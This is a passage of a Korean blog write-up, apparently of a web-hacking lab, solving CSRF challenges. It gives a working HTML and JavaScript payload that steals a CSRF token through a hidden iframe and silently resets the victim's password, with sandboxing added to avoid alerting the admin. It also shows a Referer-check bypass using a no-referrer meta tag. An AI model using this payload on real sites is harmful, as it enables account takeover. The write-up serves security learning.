srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FxNTbn%2FdJMcabJGnRd%2FRHN3bxoDl6nCKKiUFibIfk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1476&quot; height=&quot;797&quot;/&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;.&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;pre id=&quot;code_1767883726071&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;&amp;lt;iframe src=&quot;CSRF 토큰 페이지&quot; id=&quot;get_token&quot; style=&quot;display:none;&quot; onload=&quot;bypass()&quot;&amp;gt;&amp;lt;/iframe&amp;gt;
&amp;lt;iframe name=&quot;myFrame&quot; style=&quot;display:none;&quot; sandbox=&quot;allow-scripts&quot;&amp;gt;&amp;lt;/iframe&amp;gt;
&amp;lt;form method=&quot;POST&quot; action=&quot;회원수정완료 페이지&quot; target=&quot;myFrame&quot; id=&quot;myForm&quot;&amp;gt;
	&amp;lt;input type=&quot;hidden&quot; name=&quot;id&quot; value=&quot;&quot;/&amp;gt;
	&amp;lt;input type=&quot;hidden&quot; name=&quot;info&quot; value=&quot;&quot;/&amp;gt;
	&amp;lt;input type=&quot;hidden&quot; name=&quot;pw&quot; value=&quot;123456&quot;/&amp;gt;
	&amp;lt;input type=&quot;hidden&quot; name=&quot;csrf_token&quot; value=&quot;&quot; id=&quot;token_input&quot;/&amp;gt;
&amp;lt;/form&amp;gt;

&amp;lt;script&amp;gt;
function bypass(){
	let token = document.getElementById('get_token').contentDocument.forms[0].csrf_token.value;
	
	document.getElementById('token_input').value=token;
	document.getElementById('myForm').submit();
	
}
&amp;lt;/script&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;관리자에게 들키지 않게 Sandbox 추가하여 알림창도 뜨지 않게 했습니다.&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;p&gt;&lt;figure class=&quot;imagegridblock&quot;&gt;
  &lt;div class=&quot;image-container&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/b7OVxo/dJMcafSQrLI/bbeMyw5k2Gj9rPKvKXtQBK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/b7OVxo/dJMcafSQrLI/bbeMyw5k2Gj9rPKvKXtQBK/img.png&quot; data-origin-width=&quot;765&quot; data-origin-height=&quot;378&quot; data-is-animation=&quot;false&quot; style=&quot;width: 61.8603%; margin-right: 10px;&quot; data-widthpercent=&quot;62.59&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/b7OVxo/dJMcafSQrLI/bbeMyw5k2Gj9rPKvKXtQBK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fb7OVxo%2FdJMcafSQrLI%2FbbeMyw5k2Gj9rPKvKXtQBK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;765&quot; height=&quot;378&quot;/&gt;&lt;/span&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/llIRn/dJMcafL34MH/uGtfSeH3mHA6oppQEbUAS0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/llIRn/dJMcafL34MH/uGtfSeH3mHA6oppQEbUAS0/img.png&quot; data-origin-width=&quot;721&quot; data-origin-height=&quot;596&quot; data-is-animation=&quot;false&quot; style=&quot;width: 36.977%;&quot; data-widthpercent=&quot;37.41&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/llIRn/dJMcafL34MH/uGtfSeH3mHA6oppQEbUAS0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FllIRn%2FdJMcafL34MH%2FuGtfSeH3mHA6oppQEbUAS0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;721&quot; height=&quot;596&quot;/&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;&amp;nbsp;&lt;/b&gt;&lt;/p&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;관리자에게 들키지 않게 Sandbox 추가하여 &lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;알림창도 뜨지 않게 했습니다. 접속까지 한 모습입니다.&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;GET 방식은 안되... POST 방식으로 고쳐도 우회하고... &lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;token 쓰니 토큰 까지 가져와서 쓰고 있었습니다.&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;또 하나의 대응방안으로 refererCheck 있습니다.&amp;nbsp;&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;요청하는 곳이 어디인지 체크하는 것이죠... 만약 &lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;mypage_update.php 아닌 다른 페이지에서 &lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;비밀번호 변경 요청이 온다면 잘못된 페이지입니다. &lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;라고 하면서 거부를 하는 것이죠. &lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;다음 문제에서 한번 확인해봅시다.&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;&amp;nbsp;&amp;lt;CSRF 4&amp;gt;&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;p&gt;&lt;figure class=&quot;imagegridblock&quot;&gt;
  &lt;div class=&quot;image-container&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/biOEOy/dJMcadObLmw/PXR1EQoKXKqyXExXE8kYkK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/biOEOy/dJMcadObLmw/PXR1EQoKXKqyXExXE8kYkK/img.png&quot; data-origin-width=&quot;509&quot; data-origin-height=&quot;510&quot; data-is-animation=&quot;false&quot; data-widthpercent=&quot;37.12&quot; style=&quot;width: 36.6896%; margin-right: 10px;&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/biOEOy/dJMcadObLmw/PXR1EQoKXKqyXExXE8kYkK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbiOEOy%2FdJMcadObLmw%2FPXR1EQoKXKqyXExXE8kYkK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;509&quot; height=&quot;510&quot;/&gt;&lt;/span&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/d1gYp9/dJMcadObLrh/2NVJ5sgn0u02LdmNbmTAbK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/d1gYp9/dJMcadObLrh/2NVJ5sgn0u02LdmNbmTAbK/img.png&quot; data-origin-width=&quot;1486&quot; data-origin-height=&quot;879&quot; data-is-animation=&quot;false&quot; style=&quot;width: 62.1477%;&quot; data-widthpercent=&quot;62.88&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/d1gYp9/dJMcadObLrh/2NVJ5sgn0u02LdmNbmTAbK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fd1gYp9%2FdJMcadObLrh%2F2NVJ5sgn0u02LdmNbmTAbK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1486&quot; height=&quot;879&quot;/&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;전에 문제들과 동일한 증상이며 &lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;GET_Admin 2 번과 같은 POST 방식 입니다.&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;p&gt;&lt;figure class=&quot;imagegridblock&quot;&gt;
  &lt;div class=&quot;image-container&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/BpePY/dJMcahJTnGD/nGHQy3FGRwp7yM8Z4kh7R0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/BpePY/dJMcahJTnGD/nGHQy3FGRwp7yM8Z4kh7R0/img.png&quot; data-origin-width=&quot;1131&quot; data-origin-height=&quot;797&quot; data-is-animation=&quot;false&quot; style=&quot;width: 45.1579%; margin-right: 10px;&quot; data-widthpercent=&quot;45.69&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/BpePY/dJMcahJTnGD/nGHQy3FGRwp7yM8Z4kh7R0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FBpePY%2FdJMcahJTnGD%2FnGHQy3FGRwp7yM8Z4kh7R0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1131&quot; height=&quot;797&quot;/&gt;&lt;/span&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/lm9hq/dJMcachvavG/IBReQt0z184wWRygaruv5k/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/lm9hq/dJMcachvavG/IBReQt0z184wWRygaruv5k/img.png&quot; data-origin-width=&quot;1476&quot; data-origin-height=&quot;875&quot; data-is-animation=&quot;false&quot; data-widthpercent=&quot;54.31&quot; style=&quot;width: 53.6794%;&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/lm9hq/dJMcachvavG/IBReQt0z184wWRygaruv5k/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Flm9hq%2FdJMcachvavG%2FIBReQt0z184wWRygaruv5k%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1476&quot; height=&quot;875&quot;/&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;2번과 동일하게 적용해봤지만 잘못된 요청이라고 뜨게 됩니다. 이유는&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;Referer 부분을 체크하여 mypage.php가 &lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;아닌 곳 은 잘못된 요청으로 보내게 됩니다.&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;이것도 방어 기법중 하나 인데 과연 이것도 우회가 가능할까여???&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;확인해보겠습니다.&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1508&quot; data-origin-height=&quot;602&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/k7AVJ/dJMcacaJOyr/N2omLhBeLSgxC8ZhmEKRZK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/k7AVJ/dJMcacaJOyr/N2omLhBeLSgxC8ZhmEKRZK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/k7AVJ/dJMcacaJOyr/N2omLhBeLSgxC8ZhmEKRZK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fk7AVJ%2FdJMcacaJOyr%2FN2omLhBeLSgxC8ZhmEKRZK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1508&quot; height=&quot;602&quot; data-origin-width=&quot;1508&quot; data-origin-height=&quot;602&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;먼저 repeater 기능을 이용하여 &lt;/b&gt;&lt;/span&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;Referercheck 부분을 넘겨주고&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif; color: #ee2323;&quot;&gt;&lt;b&gt;Referer URL을 삭제하고 보내보겠습니다.&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1564&quot; data-origin-height=&quot;591&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/ucwA0/dJMcagKY4i2/Rk37NflQ5mL9sHfU3PWS7k/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/ucwA0/dJMcagKY4i2/Rk37NflQ5mL9sHfU3PWS7k/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/ucwA0/dJMcagKY4i2/Rk37NflQ5mL9sHfU3PWS7k/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FucwA0%2FdJMcagKY4i2%2FRk37NflQ5mL9sHfU3PWS7k%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1564&quot; height=&quot;591&quot; data-origin-width=&quot;1564&quot; data-origin-height=&quot;591&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;RefererURL을 삭제하고 보내보니 회원이 수정되었습니다....&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt; 아뿔사 이런일이.....&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;p&gt;&lt;figure class=&quot;imagegridblock&quot;&gt;
  &lt;div class=&quot;image-container&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/mCeyk/dJMcabpl3Zh/n9veXAl877MtaDok2AELMK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/mCeyk/dJMcabpl3Zh/n9veXAl877MtaDok2AELMK/img.png&quot; data-origin-width=&quot;754&quot; data-origin-height=&quot;643&quot; data-is-animation=&quot;false&quot; style=&quot;width: 30.5689%; margin-right: 10px;&quot; data-widthpercent=&quot;30.93&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/mCeyk/dJMcabpl3Zh/n9veXAl877MtaDok2AELMK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FmCeyk%2FdJMcabpl3Zh%2Fn9veXAl877MtaDok2AELMK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;754&quot; height=&quot;643&quot;/&gt;&lt;/span&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/beaH0G/dJMcaiPvQJk/BUBZIkTP8xtol2n2GkRjdk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/beaH0G/dJMcaiPvQJk/BUBZIkTP8xtol2n2GkRjdk/img.png&quot; data-origin-width=&quot;1422&quot; data-origin-height=&quot;543&quot; data-is-animation=&quot;false&quot; style=&quot;width: 68.2683%;&quot; data-widthpercent=&quot;69.07&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/beaH0G/dJMcaiPvQJk/BUBZIkTP8xtol2n2GkRjdk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbeaH0G%2FdJMcaiPvQJk%2FBUBZIkTP8xtol2n2GkRjdk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1422&quot; height=&quot;543&quot;/&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;코드는 기존에서 &lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;&amp;lt;meta name=&quot;referrer&quot; content=&quot;no-referrer&quot;&amp;gt; &lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;추가하여 &lt;/b&gt;&lt;/span&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;referrer 없이 보내봤습니다.&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;결국 회원정보가 수정이 되었습니다.&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;p&gt;&lt;figure class=&quot;imagegridblock&quot;&gt;
  &lt;div class=&quot;image-container&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/ccPMSi/dJMcaiotHNc/xwzCjF3cVGOeDigGkLdpk0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/ccPMSi/dJMcaiotHNc/xwzCjF3cVGOeDigGkLdpk0/img.png&quot; data-origin-width=&quot;889&quot; data-origin-height=&quot;357&quot; data-is-animation=&quot;false&quot; style=&quot;width: 71.0458%; margin-right: 10px;&quot; data-widthpercent=&quot;71.88&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/ccPMSi/dJMcaiotHNc/xwzCjF3cVGOeDigGkLdpk0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FccPMSi%2FdJMcaiotHNc%2FxwzCjF3cVGOeDigGkLdpk0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;889&quot; height=&quot;357&quot;/&gt;&lt;/span&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bcEPbS/dJMcabQqAf4/Lh9dL6NmUbMDPHKMmhKT2K/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bcEPbS/dJMcabQqAf4/Lh9dL6NmUbMDPHKMmhKT2K/img.png&quot; data-origin-width=&quot;489&quot; data-origin-height=&quot;502&quot; data-is-animation=&quot;false&quot; style=&quot;width: 27.7914%;&quot; data-widthpercent=&quot;28.12&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bcEPbS/dJMcabQqAf4/Lh9dL6NmUbMDPHKMmhKT2K/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbcEPbS%2FdJMcabQqAf4%2FLh9dL6NmUbMDPHKMmhKT2K%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;489&quot; height=&quot;502&quot;/&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;관리자에게 제가 수정 게시글을 보내봤습니다.&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;referrer&lt;span&gt; 가 PASS가 되고 있어서 결국 &lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;&lt;span&gt;관리자 계정이 해킹이 당했습니다.&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;&lt;span&gt;이는 잘못된 예외처리라고 할수 있습니다.&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;&lt;span&gt;여기서 예외 처리란 프로그램 실행 시 발생할 수 있는 &lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;&lt;span&gt;예기치 못한 예외의 발생헤 대비한 코드를 작성하는 것인데&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;&lt;span&gt;이는 예기치 못한 no - &lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;referrer&amp;nbsp; 제대로된 검증이 &lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
